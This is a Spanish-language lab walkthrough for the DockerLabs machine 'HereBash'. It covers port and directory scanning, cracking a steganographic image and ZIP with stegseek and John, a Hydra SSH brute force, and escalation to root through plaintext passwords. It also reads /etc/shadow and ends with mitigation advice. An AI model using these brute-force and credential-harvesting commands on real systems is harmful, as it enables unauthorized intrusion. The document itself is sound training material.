HereBash
This content is not available in your language yet.
Introducción
Sección titulada «Introducción»Este documento detalla la metodología y procedimiento completo para comprometer la máquina HereBash, desarrollada por firstatack para DockerLabs y clasificada con dificultad Media. Esta máquina presenta un escenario de escalada progresiva a través de múltiples usuarios, utilizando técnicas de esteganografía, análisis forense digital y enumeración sistemática de archivos.
La resolución sigue una metodología estructurada:
- Reconocimiento: Enumeración de servicios web y descubrimiento de archivos ocultos en imágenes.
- Explotación: Extracción de información mediante esteganografía y ataque de fuerza bruta dirigido.
- Escalada de privilegios: Progresión secuencial a través de múltiples usuarios mediante enumeración de archivos y análisis de configuraciones.
El entorno de prueba fue desplegado localmente mediante DockerLabs, simulando un escenario realista donde información sensible está oculta en múltiples capas.
Información Técnica
Sección titulada «Información Técnica»| Atributo | Valor |
|---|---|
| Nombre | HereBash |
| Autor | firstatack |
| Dificultad | Medio |
| Fecha | 20/06/2024 |
| Plataforma | DockerLabs |
| IP Objetivo | 172.17.0.2 |
Fase 1 — Despliegue y Configuración
Sección titulada «Fase 1 — Despliegue y Configuración»1.1 Preparación del Entorno
Sección titulada «1.1 Preparación del Entorno»Descomprimimos el archivo de la máquina y lo desplegamos:
unzip HereBash.zipsudo bash auto_deploy.sh HereBash.tar
Figura 1: Dirección IP asignada al contenedor
1.2 Organización del Workspace
Sección titulada «1.2 Organización del Workspace»Creamos una estructura organizada para documentar el proceso:
mkdir -p HereBash/{content,exploits,nmap,gobuster,scripts}cd HereBashFase 2 — Reconocimiento
Sección titulada «Fase 2 — Reconocimiento»2.1 Escaneo de Puertos
Sección titulada «2.1 Escaneo de Puertos»Ejecutamos un escaneo TCP SYN para identificar servicios expuestos:
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPortsextractPorts allPortsResultados:
- 22/tcp — SSH (Secure Shell)
- 80/tcp — HTTP (Web Server)

Figura 2: Servicios expuestos en la máquina
2.2 Análisis del Servicio Web
Sección titulada «2.2 Análisis del Servicio Web»Realizamos un escaneo exhaustivo de directorios:
feroxbuster -u http://172.17.0.2 -d 0 \ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \ -x php,txt,html,js,bak,old \ -t 40 \ -C 404,403
Figura 3: Directorios y archivos descubiertos
2.3 Enumeración de Contenido Web
Sección titulada «2.3 Enumeración de Contenido Web»-
/index — Página principal por defecto de Apache
Ventana de terminal curl -s http://172.17.0.2/ -
/uploads — Directorio con permisos de lectura
Ventana de terminal curl -s http://172.17.0.2/uploads/Accesible públicamente, contiene archivos subidos
-
/scripts/put.js — Archivo JavaScript que responde a peticiones PUT
Ventana de terminal curl -X PUT http://172.17.0.2/scripts/put.jsDevuelve el mensaje “spongebob”
-
/spongebob/upload/ohnorecallwin.jpg — Imagen con posible contenido oculto
Ventana de terminal wget http://172.17.0.2/spongebob/upload/ohnorecallwin.jpg
Fase 3 — Explotación
Sección titulada «Fase 3 — Explotación»3.1 Análisis de Imagen para Esteganografía
Sección titulada «3.1 Análisis de Imagen para Esteganografía»Procedemos a analizar la imagen descargada:
# Verificamos metadatosexiftool ohnorecallwin.jpg
# Verificamos strings visiblesstrings ohnorecallwin.jpg | head -20
# Probamos con steghidesteghide info ohnorecallwin.jpgHallazgo: La imagen contiene datos embebidos protegidos con contraseña.
3.2 Ataque de Fuerza Bruta a Esteganografía
Sección titulada «3.2 Ataque de Fuerza Bruta a Esteganografía»Utilizamos stegseek para crackear la contraseña:
stegseek --crack ohnorecallwin.jpg /usr/share/wordlists/rockyou.txtResultado: Contraseña encontrada y archivo extraído como ohnorecallwin.jpg.out
3.3 Análisis del Archivo Extraído
Sección titulada «3.3 Análisis del Archivo Extraído»El archivo extraído parece ser un ZIP comprimido:
file ohnorecallwin.jpg.outSalida: ohnorecallwin.jpg.out: Zip archive data
3.4 Crackeo del Archivo ZIP
Sección titulada «3.4 Crackeo del Archivo ZIP»Extraemos el hash y utilizamos John the Ripper:
# Extraemos hash del ZIPzip2john ohnorecallwin.jpg.out > zip_hash.txt
# Ataque de fuerza brutajohn --wordlist=/usr/share/wordlists/rockyou.txt zip_hash.txt
Figura 4: Contraseña del ZIP crackeada
3.5 Extracción del Contenido
Sección titulada «3.5 Extracción del Contenido»Descomprimimos el archivo con la contraseña obtenida:
unzip -P 'frodo' ohnorecallwin.jpg.outContenido extraído: secreto.txt con una contraseña.
3.6 Ataque de Fuerza Bruta SSH Dirigido
Sección titulada «3.6 Ataque de Fuerza Bruta SSH Dirigido»Con la contraseña descubierta, realizamos un ataque para encontrar el usuario correspondiente:
# Creamos/descargamos lista de usuarios comuneswget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Usernames/xato-net-10-million-usernames.txt
# Ataque con Hydrahydra -L xato-net-10-million-usernames-dup.txt -p 'frodo' -t 64 ssh://172.17.0.2 -I -f
Figura 5: Usuario SSH encontrado
Credenciales obtenidas: rosa:frodo
3.7 Acceso Inicial al Sistema
Sección titulada «3.7 Acceso Inicial al Sistema»Nos conectamos al sistema mediante SSH:
ssh rosa@172.17.0.2
Figura 6: Acceso SSH como usuario rosa
Fase 4 — Escalada de Privilegios
Sección titulada «Fase 4 — Escalada de Privilegios»4.1 Enumeración del Sistema como rosa
Sección titulada «4.1 Enumeración del Sistema como rosa»Comenzamos la enumeración del usuario actual:
whoamiidpwdls -la4.2 De rosa → pedro
Sección titulada «4.2 De rosa → pedro»Descubrimos un directorio con nombre inusual:
ls -la
Figura 7: Directorio llamado ”-” en el home de rosa
4.2.1 Análisis del Directorio Especial
Sección titulada «4.2.1 Análisis del Directorio Especial»Accedemos al directorio (nota: ”—” separa opciones de argumentos):
cd ./-ls -laEncontramos el script creararch.sh que genera múltiples archivos con formato específico:
cat creararch.sh4.2.2 Búsqueda de Anomalías en los Archivos
Sección titulada «4.2.2 Búsqueda de Anomalías en los Archivos»Buscamos archivos que no sigan el patrón esperado:
# Buscamos archivos que NO contengan el patrónfind . -type f -exec grep -L 'xxxxxx:xxxxxx' {} \;
Figura 8: Archivo que contiene credenciales diferentes
4.2.3 Extracción de Credenciales
Sección titulada «4.2.3 Extracción de Credenciales»cat ./4pEjZ3Credenciales encontradas: pedro:alicia
4.2.4 Acceso como pedro
Sección titulada «4.2.4 Acceso como pedro»su pedro# Contraseña: alicia
Figura 9: Shell como usuario pedro
4.3 De pedro → juan
Sección titulada «4.3 De pedro → juan»4.3.1 Enumeración como pedro
Sección titulada «4.3.1 Enumeración como pedro»whoamipwdls -la4.3.2 Descubrimiento de Pista Ocultada
Sección titulada «4.3.2 Descubrimiento de Pista Ocultada»Encontramos un archivo oculto con nombre inusual:
ls -lacat .../.misecreto
Figura 10: Pista sobre ubicación de credenciales de juan
4.3.3 Búsqueda de Archivos del Usuario
Sección titulada «4.3.3 Búsqueda de Archivos del Usuario»Buscamos archivos propiedad del usuario actual fuera del home:
find / -user pedro 2>/dev/null | head -20
Figura 11: Archivo con credenciales de juan encontrado
4.3.4 Extracción de Credenciales
Sección titulada «4.3.4 Extracción de Credenciales»cat /var/mail/.pass_juanCredenciales encontradas: juan:p4t4t4s
4.3.5 Acceso como juan
Sección titulada «4.3.5 Acceso como juan»su juan# Contraseña: p4t4t4s
Figura 12: Shell como usuario juan
4.4 De juan → root
Sección titulada «4.4 De juan → root»4.4.1 Enumeración como juan
Sección titulada «4.4.1 Enumeración como juan»whoamipwdls -la4.4.2 Análisis de Archivo de Ordenes
Sección titulada «4.4.2 Análisis de Archivo de Ordenes»Encontramos un archivo con instrucciones:
cat .ordenes_nuevas
Figura 13: Instrucciones sobre ubicación de password root
4.4.3 Búsqueda en Archivos de Configuración
Sección titulada «4.4.3 Búsqueda en Archivos de Configuración»Revisamos archivos de configuración de shell comunes:
# Revisamos .bashrccat ~/.bashrc
# Revisamos .profilecat ~/.profile
# Revisamos otros archivos comunesls -la ~/.bash*4.4.4 Descubrimiento de Credenciales Root
Sección titulada «4.4.4 Descubrimiento de Credenciales Root»Encontramos las credenciales en .bashrc:
grep -i "eljefe\|password\|pass" ~/.bashrc
Figura 14: Credenciales root encontradas en .bashrc
Credenciales encontradas: root:eljefe123
4.4.5 Acceso como root
Sección titulada «4.4.5 Acceso como root»su root# Contraseña: eljefe123
Figura 15: Shell como usuario root
4.5 Verificación Final
Sección titulada «4.5 Verificación Final»idwhoamicat /etc/shadow | head -1Análisis de Vulnerabilidades
Sección titulada «Análisis de Vulnerabilidades»5.1 Fallos de Seguridad Identificados
Sección titulada «5.1 Fallos de Seguridad Identificados»| Vulnerabilidad | Severidad | Impacto | CWE/Referencia |
|---|---|---|---|
| Contenido sensible en imágenes sin protección adecuada | Alta | Exposición de credenciales | CWE-312 |
| Archivos ZIP con contraseñas débiles | Media | Acceso a información sensible | CWE-521 |
| Contraseñas SSH débiles y predecibles | Alta | Acceso inicial al sistema | CWE-521 |
| Archivos con credenciales en texto plano | Crítica | Escalada horizontal de privilegios | CWE-312 |
| Credenciales en archivos de configuración de shell | Alta | Escalada vertical a root | CWE-312 |
| Permisos de archivo inadecuados en /var/mail | Media | Exposición de información entre usuarios | CWE-276 |
5.2 Recomendaciones de Mitigación
Sección titulada «5.2 Recomendaciones de Mitigación»-
Gestión de Esteganografía y Archivos Ocultos:
- Implementar escaneo de imágenes para contenido oculto
- Utilizar herramientas como
steghidecon contraseñas fuertes - Educar a usuarios sobre riesgos de ocultar información en imágenes
- Establecer políticas para compartir información sensible
-
Protección de Archivos ZIP:
- Utilizar contraseñas complejas (mínimo 12 caracteres, mezcla de tipos)
- Implementar cifrado AES-256 en archivos comprimidos
- Considerar cifrado de disco completo en lugar de archivos individuales
Ventana de terminal # Ejemplo de ZIP segurozip -e -P 'C0mpl3xP@ssw0rd!' -r archivo_seguro.zip directorio/ -
Gestión de Credenciales SSH:
- Deshabilitar autenticación por contraseña, usar claves SSH
- Implementar autenticación multifactor
- Utilizar fail2ban para proteger contra fuerza bruta
- Rotar credenciales regularmente
Ventana de terminal # Configuración SSH segura en /etc/ssh/sshd_configPasswordAuthentication noPermitRootLogin noMaxAuthTries 3 -
Protección de Archivos con Credenciales:
- Evitar almacenar credenciales en texto plano
- Utilizar sistemas de gestión de secretos
- Implementar permisos estrictos (600 para archivos sensibles)
- Utilizar cifrado para datos en reposo
Ventana de terminal # Permisos correctos para archivos sensibleschmod 600 /var/mail/.pass_juanchown root:root /var/mail/.pass_juan -
Hardening de Archivos de Configuración:
- No almacenar credenciales en .bashrc, .profile, etc.
- Utilizar variables de entorno seguras
- Implementar controles de integridad de archivos
- Educar a usuarios sobre seguridad de archivos de configuración
Ventana de terminal # Mejor práctica: usar variables de entornoexport DB_PASSWORD=$(cat /path/to/secure/password/file) -
Monitoreo y Auditoría:
- Implementar logging de cambios en archivos sensibles
- Configurar alertas para intentos de acceso no autorizado
- Realizar auditorías periódicas de permisos de archivos
- Monitorear actividad de usuarios con privilegios
Ventana de terminal # Configuración de auditoría con auditdauditctl -w /etc/passwd -p wa -k user_accountsauditctl -w /etc/shadow -p wa -k user_passwords -
Concienciación y Capacitación:
- Capacitar a usuarios sobre higiene de contraseñas
- Establecer políticas de seguridad de información
- Realizar ejercicios de pentesting interno
- Implementar programas de bug bounty